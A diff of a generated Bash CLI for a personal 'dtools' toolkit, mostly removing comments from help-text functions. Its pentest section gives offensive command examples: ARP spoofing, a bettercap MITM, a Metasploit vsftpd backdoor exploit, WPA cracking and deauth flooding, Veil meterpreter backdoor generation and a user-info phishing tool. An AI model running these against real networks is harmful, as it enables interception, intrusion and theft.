+3875,6 @@ dtools_tui_misc_file_manager_usage() { fi } -# :command.usage dtools_tui_misc_screensaver_usage() { printf "dtools tui misc screensaver - A terminal screensaver (ttysvr)\n\n" @@ -4515,17 +3883,14 @@ dtools_tui_misc_screensaver_usage() { printf " dtools tui misc screensaver --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " ttysvr bubbles\n" printf " ttysvr logo dvd\n" @@ -4539,7 +3904,6 @@ dtools_tui_misc_screensaver_usage() { fi } -# :command.usage dtools_tui_misc_weather_usage() { printf "dtools tui misc weather - Displays the weather (wego)\n\n" @@ -4548,12 +3912,10 @@ dtools_tui_misc_weather_usage() { printf " dtools tui misc weather --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4561,7 +3923,6 @@ dtools_tui_misc_weather_usage() { fi } -# :command.usage dtools_tui_misc_linutil_usage() { printf "dtools tui misc linutil - A collection of utilities for Linux (linutil)\n\n" @@ -4570,12 +3931,10 @@ dtools_tui_misc_linutil_usage() { printf " dtools tui misc linutil --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4583,7 +3942,6 @@ dtools_tui_misc_linutil_usage() { fi } -# :command.usage dtools_tui_misc_slack_usage() { printf "dtools tui misc slack - A terminal-based Slack client (slack-term)\n\n" @@ -4592,12 +3950,10 @@ dtools_tui_misc_slack_usage() { printf " dtools tui misc slack --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4605,7 +3961,6 @@ dtools_tui_misc_slack_usage() { fi } -# :command.usage dtools_tui_misc_youtube_music_usage() { printf "dtools tui misc youtube-music - Play YouTube Music from the terminal (ytermusic)\n\n" @@ -4614,12 +3969,10 @@ dtools_tui_misc_youtube_music_usage() { printf " dtools tui misc youtube-music --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4627,7 +3980,6 @@ dtools_tui_misc_youtube_music_usage() { fi } -# :command.usage dtools_tui_misc_youtube_music_2_usage() { printf "dtools tui misc youtube-music-2 - Play YouTube Music from the terminal (ytui_music)\n\n" @@ -4636,12 +3988,10 @@ dtools_tui_misc_youtube_music_2_usage() { printf " dtools tui misc youtube-music-2 --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4649,7 +3999,6 @@ dtools_tui_misc_youtube_music_2_usage() { fi } -# :command.usage dtools_tui_misc_jellyfin_usage() { printf "dtools tui misc jellyfin - Play music from your Jellyfin server in the terminal (jellyfin-tui)\n\n" @@ -4658,12 +4007,10 @@ dtools_tui_misc_jellyfin_usage() { printf " dtools tui misc jellyfin --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4671,7 +4018,6 @@ dtools_tui_misc_jellyfin_usage() { fi } -# :command.usage dtools_tui_misc_visualizations_usage() { printf "dtools tui misc visualizations - Audio visualizations in the terminal (vis)\n\n" @@ -4680,12 +4026,10 @@ dtools_tui_misc_visualizations_usage() { printf " dtools tui misc visualizations --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4693,7 +4037,6 @@ dtools_tui_misc_visualizations_usage() { fi } -# :command.usage dtools_tui_misc_visualizations_2_usage() { printf "dtools tui misc visualizations-2 - Audio visualizations in the terminal (cava)\n\n" @@ -4702,12 +4045,10 @@ dtools_tui_misc_visualizations_2_usage() { printf " dtools tui misc visualizations-2 --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4715,7 +4056,6 @@ dtools_tui_misc_visualizations_2_usage() { fi } -# :command.usage dtools_tui_misc_find_and_replace_usage() { printf "dtools tui misc find-and-replace - Interactive find and replace in the terminal (scooter)\n\n" @@ -4724,12 +4064,10 @@ dtools_tui_misc_find_and_replace_usage() { printf " dtools tui misc find-and-replace --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4737,7 +4075,6 @@ dtools_tui_misc_find_and_replace_usage() { fi } -# :command.usage dtools_tui_misc_ascii_theater_usage() { printf "dtools tui misc ascii-theater - Watch movies in your terminal with ASCII art! (ssh into watch.ascii.theater)\n\n" @@ -4746,12 +4083,10 @@ dtools_tui_misc_ascii_theater_usage() { printf " dtools tui misc ascii-theater --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4759,7 +4094,6 @@ dtools_tui_misc_ascii_theater_usage() { fi } -# :command.usage dtools_tui_misc_calendar_usage() { printf "dtools tui misc calendar - View your calendars in the terminal (calcure)\n\n" @@ -4768,12 +4102,10 @@ dtools_tui_misc_calendar_usage() { printf " dtools tui misc calendar --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4781,7 +4113,6 @@ dtools_tui_misc_calendar_usage() { fi } -# :command.usage dtools_tui_misc_piano_usage() { printf "dtools tui misc piano - A piano in your terminal (upiano)\n\n" @@ -4790,12 +4121,10 @@ dtools_tui_misc_piano_usage() { printf " dtools tui misc piano --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4803,7 +4132,6 @@ dtools_tui_misc_piano_usage() { fi } -# :command.usage dtools_tui_misc_servarr_usage() { printf "dtools tui misc servarr - A TUI and CLI for managing *arr servers (managarr)\n\n" @@ -4812,12 +4140,10 @@ dtools_tui_misc_servarr_usage() { printf " dtools tui misc servarr --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4825,7 +4151,6 @@ dtools_tui_misc_servarr_usage() { fi } -# :command.usage dtools_tui_sandbox_usage() { printf "dtools tui sandbox - TUIs for sandboxing applications or experimentation\n\n" @@ -4833,7 +4158,7 @@ dtools_tui_sandbox_usage() { printf " dtools tui sandbox COMMAND\n" printf " dtools tui sandbox [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Visual jq query editor\n" "$(green "jqp") " printf " %s A visual Sed IDE to help demystify SED scripts (desed)\n" "$(green "desed") " @@ -4841,12 +4166,10 @@ dtools_tui_sandbox_usage() { printf " %s A Regex 101-like tool (regect)\n" "$(green "regect")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4854,7 +4177,6 @@ dtools_tui_sandbox_usage() { fi } -# :command.usage dtools_tui_sandbox_jqp_usage() { printf "dtools tui sandbox jqp - Visual jq query editor\n\n" @@ -4863,25 +4185,20 @@ dtools_tui_sandbox_jqp_usage() { printf " dtools tui sandbox jqp --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "JSON_FILE")" printf " The JSON file to perform jq queries against\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools tui sandbox jqp ~/test.json\n" echo @@ -4889,7 +4206,6 @@ dtools_tui_sandbox_jqp_usage() { fi } -# :command.usage dtools_tui_sandbox_desed_usage() { printf "dtools tui sandbox desed - A visual Sed IDE to help demystify SED scripts (desed)\n\n" @@ -4898,12 +4214,10 @@ dtools_tui_sandbox_desed_usage() { printf " dtools tui sandbox desed --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4911,7 +4225,6 @@ dtools_tui_sandbox_desed_usage() { fi } -# :command.usage dtools_tui_sandbox_play_usage() { printf "dtools tui sandbox play - A Visual sandbox for experimenting with sed, awk, and grep (play)\n\n" @@ -4920,20 +4233,16 @@ dtools_tui_sandbox_play_usage() { printf " dtools tui sandbox play --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "PROGRAM")" printf " The program you want to play with\n" printf " %s\n" "Allowed: sed, awk, grep" @@ -4942,7 +4251,6 @@ dtools_tui_sandbox_play_usage() { fi } -# :command.usage dtools_tui_sandbox_regect_usage() { printf "dtools tui sandbox regect - A Regex 101-like tool (regect)\n\n" @@ -4951,12 +4259,10 @@ dtools_tui_sandbox_regect_usage() { printf " dtools tui sandbox regect --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4964,7 +4270,6 @@ dtools_tui_sandbox_regect_usage() { fi } -# :command.usage dtools_tui_ai_usage() { printf "dtools tui ai - TUIs for AI related tooling\n\n" @@ -4972,17 +4277,15 @@ dtools_tui_ai_usage() { printf " dtools tui ai COMMAND\n" printf " dtools tui ai [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s A TUI for interacting with LLMs\n" "$(green "elia")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -4990,7 +4293,6 @@ dtools_tui_ai_usage() { fi } -# :command.usage dtools_tui_ai_elia_usage() { printf "dtools tui ai elia - A TUI for interacting with LLMs\n\n" @@ -4999,12 +4301,10 @@ dtools_tui_ai_elia_usage() { printf " dtools tui ai elia --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5012,7 +4312,6 @@ dtools_tui_ai_elia_usage() { fi } -# :command.usage dtools_pentest_usage() { printf "dtools pentest - Pentest commands (Documentation only)\n\n" @@ -5020,7 +4319,7 @@ dtools_pentest_usage() { printf " dtools pentest COMMAND\n" printf " dtools pentest [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s A social engineering strategy planning and reconnaissance tool\n" "$(green "maltego") " printf " %s View and modify interfaces (Debian-based OSes only)\n" "$(green "ifconfig") " @@ -5036,12 +4335,10 @@ dtools_pentest_usage() { printf " %s Generates links to a locally hosted website to collect user info\n" "$(green "storm-breaker")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5049,7 +4346,6 @@ dtools_pentest_usage() { fi } -# :command.usage dtools_pentest_maltego_usage() { printf "dtools pentest maltego - A social engineering strategy planning and reconnaissance tool\n\n" @@ -5058,12 +4354,10 @@ dtools_pentest_maltego_usage() { printf " dtools pentest maltego --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5071,7 +4365,6 @@ dtools_pentest_maltego_usage() { fi } -# :command.usage dtools_pentest_ifconfig_usage() { printf "dtools pentest ifconfig - View and modify interfaces (Debian-based OSes only)\n\n" @@ -5080,17 +4373,14 @@ dtools_pentest_ifconfig_usage() { printf " dtools pentest ifconfig --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Change local MAC\n ifconfig wlan0 down && ifconfig wlan0 hw ether 00:11:22:33:44:55\n" printf " # Set wlan0 to monitor mode\n ifconfig wlan0 down && ifconfig wlan0 mode monitor\n" @@ -5099,7 +4389,6 @@ dtools_pentest_ifconfig_usage() { fi } -# :command.usage dtools_pentest_netdiscover_usage() { printf "dtools pentest netdiscover - Scan the network for devices (Debian-based OSes only)\n\n" @@ -5108,17 +4397,14 @@ dtools_pentest_netdiscover_usage() { printf " dtools pentest netdiscover --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " netdiscover -i eth0 -r 10.0.2.0/24 -c 10\n" echo @@ -5126,7 +4412,6 @@ dtools_pentest_netdiscover_usage() { fi } -# :command.usage dtools_pentest_nmap_usage() { printf "dtools pentest nmap - Map the network\n\n" @@ -5135,17 +4420,14 @@ dtools_pentest_nmap_usage() { printf " dtools pentest nmap --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " nmap 10.0.2.0/24\n" printf " # Scan target host for open ports\n # and services\n nmap -v -sS -A -T4 10.0.2.15\n" @@ -5154,7 +4436,6 @@ dtools_pentest_nmap_usage() { fi } -# :command.usage dtools_pentest_arpspoof_usage() { printf "dtools pentest arpspoof - Perform arp poisoning (Debian-based OSes only)\n\n" @@ -5163,17 +4444,14 @@ dtools_pentest_arpspoof_usage() { printf " dtools pentest arpspoof --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Tell the target that we are the router\n arpspoof -i eth0 -t 10.0.2.6 10.0.2.1\n" printf " # Tell the router that we are the target\n arpspoof -i eth0 -t 10.0.2.1 10.0.2.6\n" @@ -5182,7 +4460,6 @@ dtools_pentest_arpspoof_usage() { fi } -# :command.usage dtools_pentest_bettercap_usage() { printf "dtools pentest bettercap - Analyze network data\n\n" @@ -5191,17 +4468,14 @@ dtools_pentest_bettercap_usage() { printf " dtools pentest bettercap --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # MITM attack\n sudo bettercap wlp2s0\n set arp.spoof.fullduplex true\n set arp.spoof.internal true\n set arp.spoof.targets 10.0.2.6\n arp.spoof on\n net.sniff on # Sniff packets\n" echo @@ -5209,7 +4483,6 @@ dtools_pentest_bettercap_usage() { fi } -# :command.usage dtools_pentest_msfconsole_usage() { printf "dtools pentest msfconsole - Metasploit Framework for executing known exploits against targets\n\n" @@ -5218,17 +4491,14 @@ dtools_pentest_msfconsole_usage() { printf " dtools pentest msfconsole --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Exploit FTP 2.3.4 backdoor\n msfconsole\n use exploit/unix/ftp/vsftpd_234_backdoor\n show options\n set rhosts 192.168.0.105\n show targets\n set target 0\n exploit -j -z\n sessions -l\n sessions 1\n background\n" echo @@ -5236,7 +4506,6 @@ dtools_pentest_msfconsole_usage() { fi } -# :command.usage dtools_pentest_aircrack_ng_usage() { printf "dtools pentest aircrack-ng - Wireless network password cracking\n\n" @@ -5245,17 +4514,14 @@ dtools_pentest_aircrack_ng_usage() { printf " dtools pentest aircrack-ng --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " airmon-ng start wlan0 # Set wlan0 to monitor mode\n airodump-ng wlan0 # Gather data to find target\n airodump-ng --channel 12 --bssid 00:11:22:33:44:55 --write airodump_dump mon0\n # Gather data for specific target network\n \n # WPA\n aircrack-ng airodump_dump.cap -w wordlist.txt\n \n # WEP\n aircrack-ng airodump_dump.cap\n aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Not\n enough IV's? Fake authentication with network\n aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Then\n replay ARPs to gather more IV's\n \n # DOS\n aireplay-ng --deauth 10000 -a 00:11:22:33:44:55 mon0 # Force network-wide\n deauth to trigger a handshake you can capture\n aireplay-ng --deauth 1000 -a 00:11:22:33:44:55 -c 22:44:66:88:00:11 mon0 #\n Force a deauth against a specific client on network to capture handshake\n" echo @@ -5263,7 +4529,6 @@ dtools_pentest_aircrack_ng_usage() { fi } -# :command.usage dtools_pentest_crunch_usage() { printf "dtools pentest crunch - Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already.\n\n" @@ -5272,17 +4537,14 @@ dtools_pentest_crunch_usage() { printf " dtools pentest crunch --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " crunch 6 6 0123456789abcdef -o wordlist.txt\n" echo @@ -5290,7 +4552,6 @@ dtools_pentest_crunch_usage() { fi } -# :command.usage dtools_pentest_veil_usage() { printf "dtools pentest veil - Generate backdoor binaries using known exploits\n\n" @@ -5299,17 +4560,14 @@ dtools_pentest_veil_usage() { printf " dtools pentest veil --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Create a meterpreter TCP backdoor\n cd /opt/Veil && python3 Veil.py\n use 1\n list\n use 7\n set LHOST 10.0.2.4\n generate\n" echo @@ -5317,7 +4575,6 @@ dtools_pentest_veil_usage() { fi } -# :command.usage dtools_pentest_ngrok_usage() { printf "dtools pentest ngrok - Free public load balancing to direct traffic to your local system\n\n" @@ -5326,17 +4583,14 @@ dtools_pentest_ngrok_usage() { printf " dtools pentest ngrok --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " # Start an ngrok LB pointing to localhost:2525\n ngrok http 2525\n" echo @@ -5344,7 +4598,6 @@ dtools_pentest_ngrok_usage() { fi } -# :command.usage dtools_pentest_storm_breaker_usage() { printf "dtools pentest storm-breaker - Generates links to a locally hosted website to collect user info\n\n" @@ -5353,17 +4606,14 @@ dtools_pentest_storm_breaker_usage() { printf " dtools pentest storm-breaker --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " cd /opt/Storm-Breaker && sudo python3 st.py\n" echo @@ -5371,7 +4621,6 @@ dtools_pentest_storm_breaker_usage() { fi } -# :command.usage dtools_video_usage() { printf "dtools video - Video commands\n\n" @@ -5379,7 +4628,7 @@ dtools_video_usage() { printf " dtools video COMMAND\n" printf " dtools video [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Rip the audio from a video file.\n" "$(green "rip-audio") " printf " %s Download YouTube videos\n" "$(green "youtube") " @@ -5388,12 +4637,10 @@ dtools_video_usage() { printf " %s Boost the audio of the specified video file\n" "$(green "boost-audio") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5401,7 +4648,6 @@ dtools_video_usage() { fi } -# :command.usage dtools_video_rip_audio_usage() { printf "dtools video rip-audio - Rip the audio from a video file.\n\n" @@ -5410,31 +4656,24 @@ dtools_video_rip_audio_usage() { printf " dtools video rip-audio --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--title TITLE")" printf " The title of the track to add to metadata.\n This defaults to being the same as the name of the output file.\n" echo - # :flag.usage printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" printf " The name of the output file (excluding the file extension).\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file to rip audio from\n" echo @@ -5442,7 +4681,6 @@ dtools_video_rip_audio_usage() { fi } -# :command.usage dtools_video_youtube_usage() { printf "dtools video youtube - Download YouTube videos\n\n" @@ -5451,31 +4689,24 @@ dtools_video_youtube_usage() { printf " dtools video youtube --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--audio-only")" printf " Download only the audio from a YouTube video\n" echo - # :flag.usage printf " %s\n" "$(magenta "--playlist")" printf " Indicates that the specified URL is a playlist\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "URL")" printf " The URL of the video you wish to download\n" echo @@ -5483,7 +4714,6 @@ dtools_video_youtube_usage() { fi } -# :command.usage dtools_video_split_scenes_usage() { printf "dtools video split-scenes - Automatically detect and split scenes in the specified video file\n\n" @@ -5492,44 +4722,35 @@ dtools_video_split_scenes_usage() { printf " dtools video split-scenes --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--content-threshold CONTENT_THRESHOLD")" printf " The threshold for content detection\n" printf " %s\n" "Default: 130" echo - # :flag.usage printf " %s\n" "$(magenta "--fade-threshold FADE_THRESHOLD")" printf " The threshold for fade in/out detection\n" printf " %s\n" "Default: 5" echo - # :flag.usage printf " %s\n" "$(magenta "--keep-duration KEEP_DURATION")" printf " The duration in seconds that a video file must be in order to be kept after\n splitting\n" printf " %s\n" "Default: 8" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file to detect scenes in and to split into separate video files\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools split-scenes file.mp4 --content-threshold 132 --fade-threshold 2\n" printf " dtools split-scenes file.mp4 --content-threshold 130 --fade-threshold 5\n" @@ -5540,7 +4761,6 @@ dtools_video_split_scenes_usage() { fi } -# :command.usage dtools_video_duration_usage() { printf "dtools video duration - Get the duration of a video file\n\n" @@ -5549,20 +4769,16 @@ dtools_video_duration_usage() { printf " dtools video duration --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file to get the duration of\n" echo @@ -5570,7 +4786,6 @@ dtools_video_duration_usage() { fi } -# :command.usage dtools_video_boost_audio_usage() { printf "dtools video boost-audio - Boost the audio of the specified video file\n\n" @@ -5579,32 +4794,25 @@ dtools_video_boost_audio_usage() { printf " dtools video boost-audio --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--multiplier MULTIPLIER")" printf " The amount to multiply the audio value by\n" printf " %s\n" "Default: 2.0" echo - # :flag.usage printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" printf " Specify the output file name (including the file extension)\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file whose audio you want to boost\n" echo @@ -5612,7 +4820,6 @@ dtools_video_boost_audio_usage() { fi } -# :command.usage dtools_vm_usage() { printf "dtools vm - Virtual Machine commands\n\n" @@ -5620,19 +4827,17 @@ dtools_vm_usage() { printf " dtools vm COMMAND\n" printf " dtools vm [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n" "$(green "windows")" printf " %s Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n" "$(green "linux") " printf " %s Start a MacOS VM that's available at http://localhost:8006\n" "$(green "mac") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -5640,7 +4845,6 @@ dtools_vm_usage() { fi } -# :command.usage dtools_vm_windows_usage() { printf "dtools vm windows - Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n\n" @@ -5649,60 +4853,49 @@ dtools_vm_windows_usage() { printf " dtools vm windows --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.vm/windows/) to load/wipe the\n VM from.\n Defaults to the version (e.g. $HOME/.vm/windows/11)\n" printf " %s\n" "Needs: --persistent" echo - # :flag.usage printf " %s\n" "$(magenta "--persistent")" printf " Persist the VM data to disk (persists to $HOME/.vm/windows)\n" echo - # :flag.usage printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any data persisted between sessions for the given Windows version\n" echo - # :flag.usage printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" printf " The disk size of the VM's drive in GB\n" printf " %s\n" "Default: 64" echo - # :flag.usage printf " %s\n" 